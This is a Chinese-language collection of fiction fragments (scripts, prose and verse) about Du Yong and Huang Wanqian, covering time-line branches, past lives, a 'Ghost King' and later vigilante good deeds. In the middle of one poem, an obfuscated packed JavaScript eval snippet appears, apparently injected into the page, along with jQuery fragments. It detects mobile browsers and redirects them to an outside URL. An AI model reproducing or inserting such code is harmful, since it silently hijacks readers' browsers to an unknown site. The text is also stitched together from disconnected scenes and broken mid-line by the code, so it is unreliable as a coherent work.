（黄万千（年轻版）突然出现在杜勇面前，穿着过时的衣服，手里拿着未来世界的报纸。）
黄万千（困惑但兴奋）：
“成功了！我真的回到了过——等等，你是谁？”
（杜勇愣住，因为他从未见过“这个”黄万千——来自另一条未被覆盖的时间线分支。）
杜勇（试探）：
“你……冷冻了自己？”
黄万千（点头）：
“2045年解冻的，他们说我是‘人类活体时光机’……但这里不对劲，我实验室呢？”
（苏末晞突然从阴影中走出，手里握着正在报警的Bug检测器——黄万千的存在让现实世界开始“闪退”。）
苏末晞（冷静）：
“你不是‘我们的’黄万千。你是……残留物。”
（黄万千的身体开始像素化，他苦笑看向杜勇——）
黄万千：
“看来‘未来’也不止一个啊……”
（他消失前，塞给杜勇一张纸条，上面写着：“小心鬼王，她在收集‘我们’。”）
学校天台
（黄万千（当前世界）正在调试无人机，杜勇默默走到他身边。）
黄万千（头也不抬）：
“你最近老盯着我看，我脸上有代码？”
杜勇（沉默片刻）：
“如果我说……你上辈子是个和尚，信吗？”
（黄万千突然笑了，从包里掏出一个木鱼造型的U盘——）
黄万千：
“巧了，我昨晚梦到自己在敲这玩意儿，还带LED屏的。”
（杜勇瞳孔地震——那是他在异世界的“功德木鱼”的现代版。）
Chiikawa主题的快闪店
（鬼王（小女孩形态）舔着冰淇淋，看着监控屏上的杜勇和黄万千。）
鬼王（自言自语）：
“一条时间线，两个圣人……你们猜，谁会先发现对方是‘备份’？”
（屏幕上的黄万千突然抬头，仿佛透过镜头直视鬼王——他的眼睛闪过一瞬的机械蓝光。）
黄万千正在办公室调试程序，手指突然停在键盘上。
"我好像......死过一次。"他盯着屏幕喃喃自语。
对面的杜勇抬起头，刚要说话，却见黄万千已经继续敲起了代码，仿佛刚才什么都没发生过。杜勇摇摇头，顺手拿起手机想看看时间，却发现相册里多了几张陌生的照片——其中一张里，黄万千躺在一个奇怪的玻璃舱里，舱门上刻着2042的字样。
他试着删除这些照片，却发现怎么也删不掉。
深夜的实验室里，那台老旧的打印机突然自己启动了。
黄万千放下手中的电路板，看着打印机吐出一张纸。纸上是一则新闻：《量子通讯技术取得重大突破》，发布日期却是2041年3月。
他拿起纸张仔细端详，纸面摸起来和普通A4纸没什么不同，但对着灯光能看到角落里有个模糊的"β"字样。
苏末晞正在检查她的bug捕捉器。屏幕上突然跳出一条红色记录：
"2097年7月15日，黄万千访问主数据库"
她点开详情，系统却显示"记录不存在"。捕捉器外壳摸起来有些发烫，旁边的温度计显示39度，可实验室的空调明明开得很足。
这些奇怪的事情发生得悄无声息，就像程序里偶尔出现的bug，明明不该存在，却又真实地出现在眼前。黄万千没有大惊小怪，其他人也很快就忘记了这些异常。
实验室里，苏末晞坐在电脑前，盯着屏幕上的异常数据，若有所思地咬着笔帽。
"你说......"她突然开口，"会不会像哆啦A梦那样，有什么时光任意门之类的？"
正在调试设备的杜勇头也不抬："更有可能的是鬼王在做实验。"
黄万千从咖啡机旁转过身，手里端着马克杯："那我该和美国队长组个老年disco局？"
苏末晞噗嗤笑出声，杜勇却推了推眼镜，一脸认真："我是说真的，那些多出来的照片......"
"可能只是系统bug。"黄万千抿了口咖啡，语气轻松，"或者某个无聊的程序员在玩模拟器。"
实验室里安静下来，只有机器运转的嗡嗡声。三个人各怀心思，谁都没有继续这个话题。窗外，一片树叶飘落在窗台上，叶脉的纹路在阳光下清晰可见，像某种神秘的电路图。
生活继续着，只是偶尔，黄万千会突然停下手中的工作，若有所思地望向远方，仿佛在等待什么，又仿佛在回忆一段并不属于自己的记忆。
台风天储物间
（杜勇躲雨时撞见黄万千来酒店送外卖，两人隔着一筐土豆对视。突然断电，黑暗中：）
黄万千的手机照亮他半边脸："我们是不是在哪儿见过？"
杜勇的罗盘精灵突然出声："滴滴！前世债主detected！"
灯光恢复时，黄万千已离开，地上多了张未来医院的挂号单
酒店后巷
（暴雨如垂直的银河倾泻而下，霓虹灯牌在风中发出濒死的嗡鸣）
杜勇蜷缩在铁皮垃圾箱旁，雨水顺着他的贾宝玉式鬓角滴入围裙口袋——那里露出半截未来医院的挂号单，墨迹在雨中晕染成"黄万千"三个字。
一双沾满泥水的运动鞋突然闯入画面。镜头沿着外卖箱上"18分钟必达"的标语上移，停在黄万千被雨打湿的锁骨处——那里有道与杜勇镜像的疤痕。
两人隔着一筐发芽的土豆对视，雨水在杜勇的厨师帽檐和黄万千的安全头盔间拉起珠帘。远处传来变电箱爆炸的闷响。
黄万千（抹去眼皮上的雨水）：
"三号灶台的老位置…现在换你守着了？"
（他手机突然亮起，锁屏是杜勇从未拍过的两人高中合影）
杜勇（罗盘迸发青光）：
"你记错了，我从没——"
（闪电劈落，照亮黄万千瞳孔里转动的齿轮纹路）
断电的刹那，整个后巷坠入深海般的黑暗。只有三处光源：
1.黄万千手机屏幕上闪烁的"1999.12.31"
2.杜勇罗盘投影出的异世界星图
3.两人疤痕同时渗出的幽蓝磷光
（罗盘精灵的电子音在雨声中扭曲）：
"警告！历史锚点松动——"
杜勇在食堂后门抽烟时，
撞见黄万千在数硬币。
不锈钢餐盘的反光里，
两个人的影子突然重叠了一秒。
"借个火？"
黄万千的指尖碰到他腕上的疤，
像钥匙插进生锈的锁孔。
他们都知道这不是第一次见面。
上一次是在梦里——
杜勇拿着粉笔修补黑板上的裂缝，
黄万千在窗外拍篮球，
每一下都震落时光的灰。
现在他们隔着烟雾对望，
像隔着七年又七天的时差。
黄万千突然笑了：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949912|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
"你围裙上沾的番茄酱，
和我昨天梦里的血迹位置一样。"
杜勇的罗盘在口袋里发烫，
指针疯狂旋转。
远处传来学生打翻餐盘的声音，
像某个世界线又一次崩塌。
他们同时伸手去扶，
小指擦过的瞬间——
所有监控摄像头都闪了闪，
像在眨眼。
两人停在生锈的铁门前。黄万千从怀里掏出个老式诺基亚，按了几个键。远处传来"滴"的一声，门锁绿灯亮起。
杜勇（低声）：
"还是这么爱用老古董。"
黄万千（轻笑）：
"老东西才可靠。"
昏暗的仓库里，几个黑影正在分装白色粉末。
杜勇抄起地上的钢管，动作干净利落，像在厨房剁骨
黄万千灵活地穿梭在货架间，每次出手都精准狠辣
背靠背的瞬间，杜勇瞥见黄万千嘴角的血丝，皱眉。黄万千却咧嘴笑了，用袖子擦了擦："没事，上次你教我的止血穴位很管用。"
天蒙蒙亮时，警笛声由远及近。两人蹲在巷子尽头的台阶上，黄万千用牙咬开啤酒瓶盖。
黄万千（递酒）：
"你说他们会不会记得被谁打的？"
杜勇（接过）：
"记得也好，忘了也罢。"
晨光中，两个疲惫的身影慢慢走远，地上的影子渐渐拉长，最终融在一起。
晨雾未散，杜勇已蹲在巷口。
他面前是个瑟缩的老人，膝盖上淤青发紫。杜勇不说话，只是从随身的布包里取出药酒，在掌心搓热。老人想躲，却被他轻轻按住脚踝："忍一忍，通则不痛。"
药味漫开时，黄万千骑着旧电动车刹在路边。他拎着保温箱，却不是送外卖的装束——箱里装着热粥小菜，用店里最好的瓷碗盛着。"您先吃，"他蹲下来，与老人平视，"吃完我载您去验伤。昨晚那伙人，已经拍到脸了。"
老人浑浊的眼里突然有了光："你们...是便衣警察？"
杜勇摇头，腕间露出一串磨亮的木珠。黄万千笑着摸出老年手机："我是送外卖的，他是教书先生。"但老人没看见，那手机相册里存着十几个地痞的罪证，昨夜刚上传到警局匿名邮箱。
正午时分，他们走在旧城区的窄街上。
黄万千突然拐进一家网吧，出来时手里多了个颤抖的少年。"偷手机？"他箍着少年脖颈，声音却温和，"跟我修一个月电动车，工钱抵债。"少年抬头，看见杜勇在阳光下展开一本《论语》，书页间夹着戒毒中心的宣传单。
暮色染红街道时，他们停在福利院后门。
黄万千从外卖箱底层掏出几盒进口药，杜勇则展开针灸包。"王院长不知道，"黄万千对门口警惕的孩子眨眨眼，"我们比圣诞老人来得勤。"
路灯亮起的刹那，两个影子被拉得很长。
一个像古时的游侠，布衣怀刃，暗夜行善。
一个如昔年的贤士，陋巷授业，润物无声。
他们走过的地方，没有万人欢呼，只有：
孤寡老人窗台上多出的药包
失足少年口袋里塞着的聘书
孤儿院黑板上新画的星辰图
夜风掀起杜勇的旧衬衫，露出腰间一道刀疤——那是上月替拾荒老人挡的。黄万千的指节也有伤，是昨天按住自杀者时被栏杆划的。
"累吗？"黄万千突然问。
杜勇望向星空："比当圣人轻松。"